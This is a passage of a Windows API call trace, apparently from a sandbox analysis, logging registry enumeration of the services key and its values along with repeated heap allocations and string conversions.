CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.280] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x5a1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0028.280] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.280] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x502850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0028.280] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.280] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x5a1460, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0028.280] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.280] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x502850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0028.280] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.280] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0028.280] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.280] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x502850, cchName=0x104 | out: lpName="services") returned 0x0 [0028.280] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.280] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0028.280] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.280] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f3e8 | out: phkResult=0x34f3e8*=0x150) returned 0x0 [0028.280] RegCloseKey (hKey=0x148) returned 0x0 [0028.280] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x502850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x5a1418, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.281] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x502850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x5a1460, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.281] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x502850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x5a1418, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.281] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x502850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x5a1460, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.281] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x502850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x5a1418, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0028.281] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.281] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x502850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0028.282] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0028.282] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x5a1460, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0028.282] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.282] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x502850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0028.282] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.282] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x5a1418, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0028.282] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.282] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x502850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0028.282] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.282] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0028.282] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.282] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x502850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0028.282] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.282] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x5a1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0028.282] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.283] RegEnumValueA (in: hKey=0x9c, dwIndex=0x0, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.283] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed630 [0028.283] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed268 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.284] RegEnumValueA (in: hKey=0x9c, dwIndex=0x1, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed258 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a14a8 [0028.284] RegEnumValueA (in: hKey=0x9c, dwIndex=0x2, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2f8 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a14f0 [0028.284] RegEnumValueA (in: hKey=0x9c, dwIndex=0x3, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed308 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1538 [0028.284] RegEnumValueA (in: hKey=0x9c, dwIndex=0x4, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x20) returned 0x3ebc08 [0028.284] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed630) returned 1 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed318 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1580 [0028.284] RegEnumValueA (in: hKey=0x9c, dwIndex=0x5, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed328 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a15c8 [0028.284] RegEnumValueA (in: hKey=0x9c, dwIndex=0x6, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed338 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.284] RegEnumValueA (in: hKey=0x9c, dwIndex=0x7, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed348 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1658 [0028.284] RegEnumValueA (in: hKey=0x9c, dwIndex=0x8, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.284] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x30) returned 0x3eff98 [0028.285] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebc08) returned 1 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed358 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a16a0 [0028.285] RegEnumValueA (in: hKey=0x9c, dwIndex=0x9, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed368 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a16e8 [0028.285] RegEnumValueA (in: hKey=0x9c, dwIndex=0xa, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed378 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1730 [0028.285] RegEnumValueA (in: hKey=0x9c, dwIndex=0xb, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.285] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.285] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.285] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.285] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.285] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.285] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.285] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.285] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.285] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.286] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.286] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed268) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a14a8) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed258) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a14f0) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2f8) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1538) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed308) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1580) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed318) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a15c8) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed328) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed338) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1658) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed348) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a16a0) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed358) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a16e8) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed368) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1730) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed378) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eff98) returned 1 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.286] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.286] RegQueryValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x34f3f0, lpData=0x0, lpcbData=0x34f3f8*=0x0 | out: lpType=0x34f3f0*=0x7, lpData=0x0, lpcbData=0x34f3f8*=0x48) returned 0x0 [0028.286] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.286] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.287] RegQueryValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x34f3f0, lpData=0x5a2eb0, lpcbData=0x34f3f8*=0x48 | out: lpType=0x34f3f0*=0x7, lpData=0x5a2eb0*, lpcbData=0x34f3f8*=0x48) returned 0x0 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed630 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed378 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1730 [0028.287] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed368 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a16e8 [0028.287] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed358 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a16a0 [0028.287] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed648 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed348 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed338 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1658 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed328 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.287] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1730) returned 1 [0028.287] 